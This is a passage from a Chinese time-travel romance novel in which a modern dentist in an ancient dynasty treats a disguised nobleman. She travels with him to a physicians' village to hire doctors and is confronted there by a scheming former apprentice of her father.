他不曾有过麻木后的肌肤接触,为了治愈苦痛的伤害,让异物侵占脆弱的喉咙,撬开相连的骨,挖走龙的吐珠。
身体发肤受之父母,他已是离经叛道。
她呢?为何她一个小小女子,屈于内宅十八年,一朝失去父亲羽翼庇护,能这么快冲破樊笼,飞向风雨雷电,桀骜自由?
他想了解她,他想靠近她。
窗外的光忽明忽暗,萧景琮吐出沾染血渍的棉团,朝外面比了个手势,临街树梢摇晃几下,掠走几道人影。
“欸?怎么把棉团吐出来了?止血了吗?”苏颜妍端着药汤从屏风外转进来,担心道:“正常需要30分钟--一炷香左右,不可以洗头洗澡,疼的话说一下,可以服用止疼药。”
“现在不疼,嘴里麻麻的。”萧景琮用敷脸的棉巾擦了擦脸和手,往身边一抛,棉巾哗啦一声落进水盆。
“少侠好准头,丢的很准,下次不要再丢了。”苏颜妍放下汤药,好笑地看着鼓着半边脸,还以为自己酷酷的,拽拽的患者,对着一地崩出的水挑了挑眉。
萧景琮挡住她,不让她去收拾那滩水渍,一堵墙似的,动也不动。
他问她:“我的牙呢?”
“牙长在你嘴里呗。”
萧景琮皱眉,表情变臭,语气很横:“拔掉的那颗……别说你丢掉了。”
苏颜妍好笑逗他道:“哎呀,还真的丢掉了。怎么办呢?”
“……”沉默片刻,萧景琮盯着她带着笑意的眼睛,忽的勾起唇角,慢吞吞地说:“真丢掉了,你得赔。”
“那我可赔不起。喏,这里呢。”苏颜妍噔噔噔噔摇了几个花手,掏出包的板板正正的
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手帕,递给萧景琮。
包的像个裹了十层皮的肉粽子。
解开结,淡青色的帕子上,一颗牙齿,清洗得干干净净,方方头,拖着两条尖尖根。
“具有收藏价值,你不问的话我本来想自己收着的。”苏颜妍很是遗憾。
她真的想要这颗牙,这是她第一战利品,可惜它的主人不好糊弄。
萧景琮哼了一声,问道:“你真想要?”
苏颜妍诚实地点头。
“拿着吧。”萧景琮不再看那颗牙齿,他开始在医馆转悠。
“真给我啦?我收走可不会还给你哦。”苏颜妍重新把手帕包成粽子,冲溜达到医馆后堂的萧景琮嚷道。
脑子里小苏医生啦啦啦撒起花朵,第一次行医完美!纪念品完美!
算了算时间,她对萧景琮喊:“大郎,先吃药吧~”
萧景琮幽幽飘过来,端起汤药一口闷。
苏颜妍比了个大拇哥。
“总觉得你说的奇怪话别有用意。”他淡淡地瞥她。
“嘻嘻嘻…哪有嘛…”那可不,苦中作乐偷偷整活消遣一下,大家这么熟了就不要计较了吧嘻嘻嘻……
“这两天我住哪里?”小药馆总共丁点大,转了一圈也没找到能落脚的地方。
“药馆最里间靠近院门有间厢房。”苏颜妍头也不抬道。
“那是仆从休息的地方吧?你让我住厢房?”萧景琮大怒。
苏颜妍才不怕他,超大声怼他:“不然呢?你还想登堂入室不成?我家就我和我娘两个女人,你想都别想。门没有窗没有门窗都没有!”
他区区一个病患,来拔个牙还想挺美!
萧景琮气得冒火,“唔”的一声捂住半边脸。
牙疼!
“拔牙不能情绪激动,可恶啊,尊重一下医生的劳动成果啊。”苏颜妍看他疼得嘶嘶喘气,小小声嘀嘀咕咕。
萧景琮恨恨看她,这女子,惹他生气还不知悔改。真能倒打一耙,可恶!
苏颜妍投降:“好了好了,病人最大。止痛丸,赶紧嗑一个。住的地方我在帮你想想办法。”
“我绝对不会住厢房。”萧景琮道。
“给你找酒店住,行不行?”五星级总统套房,不嫌贵就去!
“不要,你明明说这两天要随诊的,现在赶我走,不负责任,医者仁心呢?”这个得到手就不珍惜的狠心女人,他要控诉她!
“你住我家,别人会说闲话的。我娘要念死我。”行行好吧,这世道男女授受不亲啊。
“我不管,我就不住厢房。”堂堂皇帝,他嫌丢人。
“无理取闹。”气人的男人,苏颜妍抓狂。
“岂有此理!”气人的女人,萧景琮炸毛。
“大哥,我家就在医馆后面,离你不会超过500米。这样,你夜里牙疼了,先吃止痛丸。有其他情况,扔颗石子到我窗上。我随叫随到。”苏颜妍扯着他的衣袖,带他到厢房,打开侧窗指着北院小小一角给他看。
萧景琮沉着脸,看她扯在手心没松开的衣袖,没再反驳。
这次就勉强凑合一下。如果她再哄他,她就完蛋了
5. 出行
苏府后宅,苏颜妍偷偷摸摸打开了客房的门。
“妍娘?”苏夫人听到动静,喊了一声。
苏颜妍应声道:“娘,是我。”她手横颈间比划了个杀鸡的动作,使眼色让萧景琮先进屋。
萧景琮满脸不愉,见她急得跳脚,慢吞吞靠过去。
苏颜妍恨不得踢他屁股!
这黏人怪,拔完牙几天她尽心尽力,检查过创口恢复良好,日常生活完全没问题,他居然说什么“当天没有随叫随到感到被欺骗”赖上她了!
讲讲道理这位小哥,她是一位尊敬的医生,不是仆从啊歪。
等待他昂头走近,扯着他衣带,连推带搡捉进客房,反手关上门。
耽搁时间有些长,苏夫人奇怪问道:“怎么站在门外不进来?”
“哦…那个…我突然想起我有许多实验要做,书房都是父亲的藏本,我准备专门在客房制作。娘,以后客房我用了,里面放置研发的药品,门会随时锁上,您记得别让人进去了。”苏颜妍脑子飞速运转,CPU烧干,想了一个新鲜借口。
苏夫人点点头,道:“好。咱家妍娘如今独当一面,顶立家门了,娘都听你的。”
苏颜妍接手医馆,算是和白延琅彻底撕破脸。
白延琅图谋医馆,派人拦截、阻止病人去回春堂看诊,行事不算隐秘,四邻街坊消息灵通,一传十十传百,都是知晓的。
在这种阻拦下,苏颜妍依旧能接诊治疗一位患者,大家心里明镜似的,都认可她的本事。
沉默的力量也是力量,白延琅正是顾忌这些,纵然不甘心,也没有继续上门逼迫。
苏颜妍扶她回房间坐下,同她说道:“如今您先专心养身体,其他事情都有我呢。父亲那边,一天没找到人,咱们就多找一天,没有消息就是好消息,娘说是不是?”
苏夫人擦擦泪,笑着道:“是,没有消息是好消息,我这心里总有希望。只恨我这副身体,只生了你一个。要是多有几个手足至亲,如今妍娘也不必日日操心劳苦。”
苏颜妍伸手轻拍,安慰她道:“我没有觉得辛苦,人能凭借自己的本事生活,能保护自己、帮助别人,这很有意义。比起日日被拘束在后宅,坐吃等喝,我现在的日子才是好好活呢。”
苏夫人一生都困囿于相夫教子的封建教条里,但苏颜妍并不是。她幸运地知道世界的真实,站在巨人的肩膀上,有些观念是融入到她灵魂里的,穿越时空也无法消磨。她怜惜“苏夫人们”,但她永远不会成为“苏夫人们”。
自由、平等、公正、法治。
曾经很多如空气般看不见摸不着、却时时刻刻包围她的东西,等真正离开那个环境,才发现那是多么多么珍贵又稀有的东西。
她为之骄傲,她为之自豪。
因为它们,她有如神助,俯视这个王朝。
一生活在黑夜里的人们,不曾看见过太阳。
她见过光。
看着苏夫人躺下,苏颜妍起身帮她放下床帘。
她知道苏夫人这几天一直提着心吊着胆,时时担忧。
以后她在医馆投注更多精力,必须得找人照顾陪伴苏夫人。
安身立命,帮扶家人,济困扶危,这是她给自己划定的底线。
客房里,萧景琮颇有兴致,打量周围一箱一箱的药包。
药味混杂酒气,缠绵成一股独特的气息,就像他从苏颜妍身上嗅闻到的那样。
不,她身上的气味更暖,像一枚香甜的果实,让人想咬一口。
萧景琮拿着一个药包抛来抛去,盘算着还能留多少天。
门轴转动,苏颜妍探进头,看到他在抛着药包玩,颇觉无语。
什么小朋友行为。
“这是我整理的成品药包,医馆里现在没有郎中,我擅长牙科,对中医确实不精通。这些药包有的是消炎类,有的是止痛类,多少能过渡一下。”苏颜妍说着叹了口气,道:“还是得想办法,能请个坐诊的大夫才好。”
“如果想要找坐诊大夫,我倒是知道有处济世救人的地方,你想去试试吗?”萧景琮说道。
“真的?哪里?”苏颜妍眼睛一亮。
“信阳山,岐黄谷。”萧景琮道。
“信阳山,离这里远不远?”
“车马出行,一日夜,我知道有处近路。”
“顺利的话,来回也得三日。我母亲未必放心。”苏颜妍思忖一会儿,看着他,有些踌躇。
萧景琮笑道:“你若真想去,我有法子说服苏夫人。”
“什么法子?先给我说说?”苏颜妍好奇道:“若连我都说服不了,就别去我母亲那边让她担忧了。”
“你知道后,效果未必管用。”萧景琮道:“我还是去和苏夫人说吧。”
可恶,搞得神神秘秘的。苏颜妍心里痒痒的,她暂时也没有别的办法,便同意让他去试试。
“先说好,别给我搞得收不了场哦。”苏颜妍点了点他,道。
萧景琮“哼”了一声,扔掉药包,慢条斯理整了整衣袍。
“哎哎哎,现在就过去说?我娘在休息啊——”苏颜妍头大地想起他们现在悄悄呆在客房,苏夫人还不知道家里多了个陌生男人呢。
“你怕什么,我有那么见不得人吗?”再说了,要想她出门,就得突然才好呢。
他推开客房门,走到院中朗声道:“此处是苏南星苏大夫家宅吗?在下岐黄谷弟子仲景,前来拜访。”
苏颜妍睁大眼睛瞪他,从客房里出来,张嘴开合无声问:“搞、什、么?”
萧景琮肃立院中,没有回答,只冲她勾唇一笑。
听到声音,苏夫人很快从屋里出来,苏颜妍赶忙走到她身边,略一搭手,扶了她一把。
苏夫人脸上挂着惊讶,喜色从她舒展的眉头溢出,她连声招呼道:“是是是,外子正是苏南星。使君请中堂入座。”
她对苏颜妍低声解释道:“妍娘,你父亲幼时,曾居于信阳山脚。他有幸跟随岐黄谷的医师们研习医术,后来才能独当一面,撑起回春堂。”
居然是有这般因缘,苏颜妍哑然。
她问道:“那母亲怎么从没对我说过?要是早知道父亲还有师门,咱们早点去寻求帮助,白延琅也不敢那么张狂。”
萧景琮跟在后面,悠悠插嘴道:“姑娘,你有所不知。咱们岐黄谷只交流悬壶济世之术,不参与世间人际派系之争。谷中众人都是同道,称不得师门。”
苏夫人点头,脸上喜色褪去,握紧苏颜妍的手。
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她的手柔软微凉,话却殷切热忱:“使君,外子行医,恪守术精怀虚,名高行谨。他失踪数日,医馆幸得小女妍娘保存。使君此次来,可否请帮忙寻一良医,坐诊回春堂?”
苏颜妍惊讶,苏夫人竟然和她想到一处去了,她这些天,一直没有说起过这件事,想来也是慈母心肠,不忍让她分心操劳。
萧景琮这厮还在皱眉作态:“苏夫人,谷里是有良医,只是在下此次需要给谷中同道通传消息,交流切磋,不敢应诺。”
苏颜妍目光幽幽,望着他,若有所思。
这家伙,给人挖坑的技术挺熟练的啊。这一推一拒,待会儿再说带她回岐黄谷,苏夫人多半会应。
果然,等苏夫人面露忧色,他沉吟片刻,道:“夫人若是有心,在下可与令爱折返回谷,亲自邀请良医相助。此处去往信阳山不过一日车程,往返三日,夫人意下如何?”
苏夫人顿时犹豫,看着苏颜妍沉吟不语。
苏颜妍眼光坚定,望着苏夫人,摇摇她的手:“娘,我去。”
苏夫人眼中浮起泪光,她闭了闭眼,压下涩意,对苏颜妍温声说道:“妍娘,出行不易,女子更难。此次岐黄谷使君来,咱们能请到良医来医馆坐诊,回春堂就不再是拖住你的泥潭。你去吧,万事小心。”
她站起身,朝萧景琮肃容一拜:“此行辛苦使君照顾妍娘,拜托您一路费心。”
萧景琮回礼道:“夫人放心。”
说走就走,苏夫人很快就给苏颜妍整理了出行衣物,打包携带。
出了宅门,门外一辆气派马车,一看就是精心养护的。马儿高大健壮,威风凛凛;马车富丽堂皇,精致华美。
苏夫人很是舒了口气。
苏颜妍诧异地看了看萧景琮,又把目光转移到马车身上:好棒的马,这一般人能养的了这种档次的马匹吗?萧景琮这家伙,很有身家啊!
她辞别苏夫人,坐进车中,马蹄得得,离苏宅越来越远,转弯消失在路尽头。
马车里,苏颜妍四下打量,车内丝绸帷幕,古木沉沉,檀木香在空气中弥漫,宝马香车,不外如是。
大佬啊!
萧景琮一改人前端肃的样子,歪歪斜斜靠在坐垫上。他拉开车厢内的暗格,端出一碟小叶紫檀八宝果盘,格子里装满干果枣糖,放在案桌上示意苏颜妍品尝。
苏颜妍捻起一枚果脯,咬了一口,酸甜适口,好吃。
她伸出手,对萧景琮比了个赞:“大佬了不起,给大佬喊666。”
萧景琮敲了她头一下,道:“又说奇怪话。”
苏颜妍刚要奋起反抗,马车突然猛地一停,她反应不及,被惯性甩倒,撞在萧景琮怀中。
她捂着鼻子,痛呼一声“唔——”
好硬的胸膛!铁板吧这是!
萧景琮双手轻轻圈住她,眸中冷光厉色,显然是生气了。他沉声问道:“怎么回事?”
车厢外马夫恭谨回答:“主上,一辆马车突然冲过来,挡在路上。”
苏颜妍扶着案桌坐好,掀开门帘往外看去:前面果然横停一辆马车,车厢窗帘升起,露出人来,竟是白延琅!
白延琅看到苏颜妍,脸上似笑非笑,眼中精光毕现,他颔首招呼道:“苏师妹,幸会。”
6. 拦路
有些人,真是阴魂不散。
就比如这位白延琅,她是真不明白为什么,能如此锲而不舍孜孜不倦地锚着她家不放。
苏父与他师徒数十年,怎么说也有点情义在吧?苏夫人偶尔想起他还会伤心落泪。
他学了十多年本事,为什么不自己发展事业呢?
把才智放在鸠占鹊巢上,本末倒置,匪夷所思。
“我和你没有什么‘幸会’,白延琅,别挡着我们的路。”苏颜妍蹙起眉头,不悦道:“你现在不是在济世堂工作吗?林家的女婿人选,可别再和前东家藕断丝连了。”
白延琅被激怒,涨红了脸,他的眼神充满恶意,哼笑着道:“苏师妹如此尖牙利齿,从前伪装的很辛苦吧?我也是没想过,你小小年纪满腹心机,才让你算计得手,抢走回春堂。”
苏颜妍气笑,什么倒打一耙现场,颠倒黑白发癫是吧?
“你搞搞清楚,回春堂从始至终,都是我家的。有你什么事啊?是你,一直费尽心机算计我们!也是你,忘恩负义图谋不轨!”
“苏师妹现在找了靠山,就以为自己清清白白问心无愧了吗?”白延琅指向萧景琮,冷笑道:“你与岐黄谷的人合谋,一起演了一场好戏,骗过所有人,让大家以为你有本事有医术治病救人。哈,就为了阻拦我接手医馆,苏师妹,你以为瞒的过我吗!”
马车内,萧景琮眸光冰冷,嘴唇一动,想要开口。
苏颜妍时时关注,察觉到他生气立刻抓住他衣袖,冲他摇摇头,示意他不要出声。
她低声对萧景琮说道:“一条败犬,何必理他。咱们去请良医救急,其余的都不重要。多和他说几句,平白浪费时间。”
萧景琮见她情真意切,全都关注在他身上,半分没给外人。杀气如火遇水,瞬时熄灭。他点了点头,重新坐好,垂下眼眸。
外头,白延琅不知自己逃过一劫,仍在喝问:“苏师妹为何一言不发,是心虚了吗?三日之期,师妹当真亲手医治过病人吗?我可是听说,医馆连新出的工具,都不是师妹找人制作,而是岐黄谷使者自带的!你们瞒天过海,设局作幌,真以为能骗过所有人吗?!”
他越说越大声,引得来往行人纷纷驻足。
他环视四周,见众人交头接耳,心下得意,觉得自己扳回一城。
“苏师妹,别以为你靠着区区一个使者,就能攀附上整个岐黄谷。你想去求良医,可别连信阳山都进不去。岐黄谷的医师们,最看重的就是有仁心、有日新,要的是真本事。滥竽充数可是会被打回原形的。”
苏颜妍反感地蹙眉,淡淡道:“你只需要记住一个词,愿赌服输。你已经投靠济世堂,不用再按我家回春堂的称呼,我也不想和你这种人沾上关系。你今日拦我,又在这大放厥词,你句句声声,全是自己臆想,以小人之心,度君子之腹。自己坏事做多了,总感觉别人和你一样无耻吗?好狗不挡路,让开!”
白延琅目眦欲裂,再不掩饰眼中恨意,指着苏颜妍道:“你——”话没说完,拉车的马匹不知受了什么惊吓,猛地叫了一声,竖耳扬蹄,拖着车厢狂奔而去。
围在四周的人群一哄而散,萧景琮收回扔完坚果的手,深藏身与名。
苏颜妍呆呆望着瞬间消失空无一人的街道,缓缓坐回车内,车夫继续启程,马蹄得得,不疾不徐向前跑去。
过了一会儿,她“噗嗤”一声,笑了起来:“恶人自有天收。”
萧景琮摸了个核桃,咔嚓捏碎,放在她面前,道:“这种小人,心肠最是恶毒。记仇不记恩,骨子里就凉薄。要不要我帮你处理了?”
“物种总有多样性。”苏颜妍开始嗑核桃仁,头也没抬吐槽:“知道他是小人,离得远远的就是了,能怎么处理,故意伤人犯法的这位大侠。”
“如果你想,有的是神不知鬼不觉的法子。”萧景琮道,那语气,仿佛处理一个人和喝水吃饭一样稀松平常。
苏颜妍抬头看了他一眼,古代版霸总啊这是,什么天凉王破的逆天发言。
“虽然他总是跳出来恶心人,但是还没达到人道毁灭的程度吧。咱们依法行事,不能违法乱纪的。”她想了想,还是这样说。
社会主义光辉穿越时空,照耀在每一个良好公民身上。
萧景琮神色奇异,深深看了她一眼,道:“你总说一些让人惊讶的话,真想知道你都是和谁学来的新奇的词。”
“啊,那可是个大秘密。”苏颜妍笑眯眯地回答。
嘿嘿,随机抽一个幸运鹅进行思想震慑,日常(1/1)完成。
穿越后的生活,既精彩又寂寞。
精彩就不用多说,睁开眼就是各种挑战,让人头秃。
寂寞则是灵魂在悲鸣,如同离开族群的鲸,在深海独自游荡,特殊频率的声波不停传出,却没有一个同类倾听回应。
苏夫人不会理解她,小桃也不会理解她,又或许,整个世界也不会有人能理解她。
除了仲景。
他和她遇见的所有人都不同,或许是某种姿态,微妙的感觉,他似乎比其他人更自由自我,更像一个没被教条规训板正的人。他让她觉得放松。
和他在一起,很自在。
她总不自觉地舒展成真正的苏颜妍,像回到了她自己的时代,自由、安全如氧气,环绕身边。
她想,他或许会是她在这个朝代最好的朋友。
“大秘密,小秘密,浑身都是秘密。”萧景琮幽幽地道:“总有一天,我要你亲自告诉我。”
毕竟景朝地界,被暗卫犁了好几遍,还充满神秘面纱的,只此一人。
车外绿树阴浓,红紫成尘,布谷声声随风飘来,正是初夏好时节。
已经出城入山,苏颜妍第一次直观看到远离人烟的外城风景。
驾着马车,车厢内豪华舒适,但长时间行路,还是让人疲累。
待马车行至信阳山脚,她扶着萧景琮跳到地面,不由双手高举,身体后仰,伸了个懒腰。
原地蹦蹦跳跳三两下,感受坚实土地,脚踏实地的感觉真是太令人高兴了。她想念舒适的大房车呜呜呜……
萧景琮示意车夫停在路边,对苏颜妍说道:“从山脚入岐黄谷,道路崎岖,马车进不去。趁现在天光尚明,我们抓紧时间入
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谷吧。”
苏颜妍仰头看了看天色,确实要尽快找到落脚点,她扬手摆了个扔球的姿势,搞怪喊道:“哟西,出发吧,皮卡丘!”
萧景琮:“……”神秘的行为又出现了!
岐黄谷不在谷底,而是一个倚山而居的村落。
日暮黄昏,炊烟袅袅,鸡犬相闻。
与普通山村不同的是,每家房屋都相隔一段距离,几块药田隔断,很有一点彼此独立的倔强感。
这里居然能组织出使者,到外面邀人还很受欢迎?完全看不出来啊。
苏颜妍好奇极了,迫不及待问萧景琮:“这里就是岐黄谷?看着就是普通山村,居然能让白延琅这种人都认可实力,真不可思议!”
萧景琮道:“越是平静的水面,潜伏在水下的暗流就会越汹涌。别小瞧他们,看着普通,纠葛起的势力,可大的很呢。”
“仲景,你在这里有熟人吗?我们要去拜访谁?”苏颜妍问道。
萧景琮信手一指,道:“此处结庐者,门前会悬挂葫芦。葫芦颜色对应等级,紫黄红绿,各有寓意。紫色为长,多为年长隐居教学者;黄色次之,每年都会出山游历,悬壶济世;红色学有所成,或出山开馆,或受邀坐诊;绿色尚在研学,不会出谷。咱们要找的,是门前悬挂红色葫芦的。”
“你知道的太多了!简直是景朝百晓生!”苏颜妍眼睛亮亮,佩服的五体投地。
萧景琮得意地道:“我还知道,此处有两人医术精湛、颇有口碑,是一对兄妹。他们一人擅大方脉,一人擅小方脉,正好适合坐诊。”
苏颜妍不太明白地问:“大方脉和小方脉是专门治什么的?”
“…”萧景琮沉默一瞬,面色复杂,道:“如果不是亲自体验过被你医治的过程,真不敢相信你懂医术。大方脉专医治的是成人,小方脉专精小儿疾病。他们二人一起,坐诊回春堂绰绰有余。”
苏颜妍立刻明白过来,拍手叫好,“那我们赶紧去拜访他们吧。带路带路带路!”
萧景琮却说道:“先去拜访此地长老,请人出山,先拜山头,事半功倍。”
是哦,江湖不只是打打杀杀,更是人情世故。
拜山头么,她懂她懂她懂!
岐黄谷里的紫葫芦长老们集中在村中心,屋子修建的大又舒适。几块药圃生机勃勃,打理得相当不错。
苏颜妍跟随萧景琮叩门而入,屋内有人殷勤奉上茶水点心,招呼他们进去等待。
少顷,一老者飘然而来,仙风道骨,发须皆白,好一幅神仙气派。
苏颜妍跟着萧景琮一起行礼,落座后,苏颜妍将家里的情况粗粗告知,请求招募良医入职回春堂。
老者名为“淮山”,听罢沉吟,遣人叫来李真、李善兄妹二人。
“这两位,是岐黄谷有名的好手,如今你们诚心邀请,回春堂又与我们颇有渊源,如双方有意,不妨选择合作。”
李真、李善二人对淮山长老行礼道:“诺。”
双方皆大欢喜,天色渐晚,便约定明日详谈。
却不想这一耽搁,第二天又惹出一场风波来。
7. 非议
岐黄谷,苏颜妍寻到了合适的坐诊大夫,医馆可以正常运转,了了她一块心事,一夜好眠。
这厢,白延琅自觉抓住苏颜妍协同作弊的把柄,阻拦不成反被萧景琮击中马匹,惊马狼狈离开,怀恨在心。
他顶着一头包,鼻青脸肿回到济世堂,林小姐一看情郎满身是伤,气歪了嘴。
“白哥,你不是去找苏家那丫头,她敢动手打你?”
白延琅恨恨地道:“那丫头果真和岐黄谷的使者搭上了线,我去找她对峙,她很是嚣张,根本不把我放在眼里。”
林小姐胖脸上闪过嫉恨:“岐黄谷使者出谷,都是拜访当地有名望的医馆大夫,带领身具天赋的年轻人才回去,交流医术。城中最有名的医馆当属我家济世堂!我父亲都准备推荐你去研学精修了!苏家那个小丫头凭什么得到使者青睐?她抢的是你出头的机会啊白哥!”
白延琅闻言,郁色更深。
林小姐见他这般,顿时心疼,对他说道:“我去找父亲,让他想办法联系人,我们城里的名额只能是你的。白哥,你已经有了十多年经验,等去岐黄谷,定会博得谷中高人的关注。到时候你医术顶尖,济世堂和回春堂,都将是属于你的。”
白延琅当年选择去回春堂拜师,就是看中苏父为人仁善淳朴,当了他的徒弟,能学到真本事。
更何况对方只有一女,对付一个内宅里没什么见识的小丫头,他可以表态入赘,顺势接管医馆。
等苏父老弱,他已经牢牢掌控整个苏家,到时候还不是他想要干嘛就干嘛!
本来他已经做好了长期作秀的准备,谁承想苏父突然失踪,偌大的苏家成为无主之物,他想要的唾手可得。
他也确实差一点点就得到了!
他顶着非议,驱散寻人的四邻;
他投靠济世堂林家,只为打点各方,继承回春堂,在医馆立足;
苏家独女、曾经暗中心仪他的小师妹,被他无视又被林家蠢妇三言两语气走;
苏夫人病弱沉疴,随时都能去死!
这一切都被毁了。
苏师妹,那个之前无心医术困于内宅,想不开能蠢到投水的女人!那个水性杨花、不知何时勾搭上岐黄谷使者的女人,竟然抢走了他日思夜想的回春堂。
就差那么一点点,他已经打点好各方,就等着名正言顺接手医馆,结果功亏一篑……他恨!
他多年伏低做小、忍辱负重,不及岐黄谷一个门人徇私插手!
他不会善罢甘休的!
白延琅和林小姐气冲冲出门,济世堂仆从见到两人,纷纷低头行礼避让。林小姐急着找林父,却被告知林父正在会客。
“小姐莫怪,是老爷嘱咐有要事,不许人打扰的。”林父身边的长随拦着林小姐,扫了白延琅一眼,低声劝道:“这事关乎小姐和白郎中的前程,您可千万别高声。”
林小姐奇怪地问道:“里面是谁?”
能让她爹亲自私聊的人可不多,难不成是哪个官吏?
随从深知林小姐平素就得宠,也没瞒她:“来的是岐黄谷的使君,正与老爷商议推荐入谷研学的人选。”
“什么?”白延琅和林小姐惊愕对视,紧紧看向长随,问道:“真是岐黄谷使者?”
长随看他们俩满脸惊疑,奇怪地道:“自然是真的,老爷和谷中长老有旧,使者还带着那位长老的私人手信呢。”
白延琅心道:岐黄谷素来一地一使君,难道此处位居皇城,人才更多,出动了几位使者吗?
倘若里面那位使君是真的,那回春堂那位,难不成是冒牌货?
可他暗中调查的清清楚楚,帮助苏颜妍的那个人能打造出新颖的医疗器材,有这样本事的,只能是岐黄谷中人。
就因为顾忌岐黄谷,他才没敢动用人手,强占回春堂。
难不成,真是他想错了,苏师妹有真本事?那怎么可能。
他心里惊涛骇浪,面上却迅速恢复平日模样,耐心站在门外等待。
林父能把济世堂经营成城中医馆最有份量的,手中人脉绝不可能出差错,白延琅敢肯定屋里的人是岐黄谷使者,苏颜妍那边那个,除了出城那天,鲜少有人见过他出门,肯定是冒牌货。
真是瞌睡来了就有枕头,他正好收集了苏颜妍那边冒牌货打造器具的证据,苏颜妍出城寻良医,使君知道她做的事,必定不会让她达成目的。
果然,岐黄谷使君听到他回禀有人冒充身份,十分震怒。
他当场表示,会返回岐黄谷揭穿这件不良事件,揪出败坏岐黄谷名声的人,严加惩处。白延琅作为提供证据的证人,被邀请入谷找苏颜妍对峙。
发生这样的事,岐黄谷使君归心似箭,告别林父,便与白延琅快马加鞭,日夜兼程,赶回信阳山。
待到晨光熹微,鸡鸣声传来,苏颜妍睡意朦胧睁开眼睛。
她在李善家中休息一晚,今天双方详谈坐诊医馆的种种约定,谈妥了,会在长老见证下签署契约。
萧景琮昨晚陪她安置好休息的地方,离开时说要去熟人那边看看,这会儿不见踪影,可能要返程时才会回来。苏颜妍素来独立,并不慌张,打理好仪容,略一收拾床被,出门去寻李真、李善两兄妹。
一出门,入目药圃生机勃勃,花叶自有一股清香散发,让人闻之忘忧。
李善身着石青水纹对襟裾裙,清清爽爽,端坐桌前。
她气质沉稳温柔,苏颜妍一看就觉得,她肯定特别招小孩儿喜欢。
“李善姑娘,早上好。”
“苏姑娘,早。篮子里有艾草青团,粗茶淡饭,请别嫌弃。”
“怎么会,艾草香,山野色,好吃得紧。是你自己做的吗?”苏颜妍咬了一口,夸赞道。
李善柔柔地说道:“说来惭愧,我不通厨艺,这是我哥哥做的。”
“令兄真了不起,他人呢?”苏颜妍问。
李善道:“清早,长老那边派人来找他,应该是有什么事情,过会儿才会回来。”
“那等他回来,我们再详谈坐诊的事情吧。”苏颜妍几口吃完青团,端起水杯小口小口喝着,同李善商量道。
“哥哥说,等苏姑娘吃完饭,咱们一起去长老那边。”李善见她吃完,将餐具收回食盒,对苏颜妍笑了笑。
“
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啊,那我们走吧。”苏颜妍挠头,怀疑自己是不是起得太晚,让人家兄妹久等了。
察觉到她不自在,李善道:“我和哥哥习惯早起,在谷里也是最早的那一批人。我们在谷中学习医术,绿葫升红葫,考核知识比寻常医馆要繁多。苏姑娘不必同我们一样,正常休息就好。”
“你们天天这样,不累吗?”苏颜妍边走边问。
李善摇摇头,道:“日日研习,精进医术,日后才能游刃有余,这是医者应有的自律。”
哪个时代也有卷王啊,苏颜妍佩服。
两人一路闲谈,很快到了淮山长老家。
“咦?淮山长老门前停着马,难道有客人?”苏颜妍看着累倒在地的马儿,很是好奇。
能把马儿跑成这样,得多着急啊。她们谈合同不会轮不上号吧?
李善同样面露讶色,道:“看着这马,像是宋使君的坐骑。宋使君不是出谷去京城招人了吗,怎么这次回来的这样早。”
苏颜妍闻言心里“咯噔”一声,升起不妙的预感。
仲景这家伙,好像冒充的就是这个使君。
难不成这是要上演李逵捉李鬼?
是福不是祸,是祸躲不过。苏颜妍硬着头皮,走了进去。
“苏师妹,别来无恙。”
时间循环了?怎么又是白延琅!
苏颜妍无奈,犹如看到各种被扇飞又一定会回来的灰太狼。
“怎么又是你?”
白延琅转身行礼道:“各位长老,我刚才说的暗中勾结伪装使者的人,就是她。”
“回春堂苏南星的独女,从没学习过医术。她联合冒牌使者,为了夺取医馆,欺诈四邻百姓,我有证据证明,请长老明察。”
白延琅从怀里摸出几份写满字迹的纸张,呈交给淮山长老。
他继续说:“我能确定她不通医术,但这套工具新奇独特,使用起来相当方便。我关注到,这份特殊工具使用的材料主要是精铁。铁器锻造都是需要开具特殊批条的。但她从来没有去过官府,甚至不曾去铁匠铺找人制作。我说的话句句属实,请各位评判。”
淮山长老仔细看看纸质记录,上面详细列明了京城各家铁匠铺的说辞,
“苏姑娘,这些指证,你认可吗?”
苏颜妍哼一声,道:“他说的每一句话,我都是不认可的。”
“这些工具图纸是我本人亲自参与设计,工具制作是由我的朋友仲景完成的。我们因为拔牙成为朋友,之前从未见过。他今日出门访友,请不要趁他不在,给他平添罪名。”
“真正有罪的,难道不是一直狼心狗肺觊觎恩师家业的你吗白延琅?”苏颜妍怒喝道。
白延琅摇头叹息:“不要再心存侥幸胡搅蛮缠了苏师妹,你如果没和他私下联盟,他怎会亲自带你回岐黄谷,帮你联系良医坐诊?更别说精铁一向是官府禁售只用于军方的,他使用的精铁从何而来?他人现在又在哪里?是不是畏罪潜逃了?”
“苏师妹,不要再狡辩了!”白延琅一顿输出,硬逼着苏颜妍认罪认罚,步步紧跟。
屋里众人看着苏颜妍,等她解释。
8. 对峙
苏颜妍一时没有言语,厅堂里落针可闻。
有时候,言语在某些环境中,不再具备力量。沉默比反驳更有价值。
她的沉默,就是反抗。
寂静中,她神色自若,不慌不忙。
真的,假不了;假的,也成不了真。
白延琅见状,不由暗暗紧张。
他认定苏颜妍心虚,心道女子就是无能,一点事都担不了,人多强硬喝问竟连话都说不出来,这样的废物接手医馆有什么用,还不如便宜了他。
他惺惺作态道:“各位长老,苏师妹不经事,现在被岐黄谷正气震慑,已然知晓自己的错误。鄙人毕竟和她做了十多年兄妹,以后会对她严加管教。”
苏颜妍嗤笑道:“脸真大,你不应该姓白,你应该姓黑,毕竟心肠黑手段黑。岐黄谷医者众多,你耳朵不好可以就近请大家帮你看看。我一直否认你的话,不认可这几个字,你是听不见还是听不懂?”
白延琅涨红了脸,狠狠盯着她,道:“我人证物证均在,你否认有什么用?你有什么能证明自己的?”
苏颜妍对各位长老点点头,拖过一张胡椅,直接坐在上面。
她对白延琅说道:“看把你急的,师父失踪反口欺负孤儿寡母,没抢到好处,你很难受吧?”
白延琅顿时大怒,指着她不住点手:“现在在说你勾结岐黄谷使者,作弊抢医馆的事。你少转移话题!”
苏颜妍依旧慢条斯理,继续道:“你勾结济世堂林家,用尽卑鄙手段抢你恩师家产,老天有眼就是没抢到手,你心里特别不甘心吧?”
“你胡说八道什么?!”白延琅手不住哆嗦,额头挂满冷汗。他对四周拱手作揖,道:“我这师妹神志有异,在这里胡言乱语,各位不必当真。”
“嘿,这里在座的都是医学界大佬,污蔑说我神志有问题,你看不起谁呢。”苏颜妍更加淡定,对付非议,她可不怕,这里这么多大拿,对峙呗。
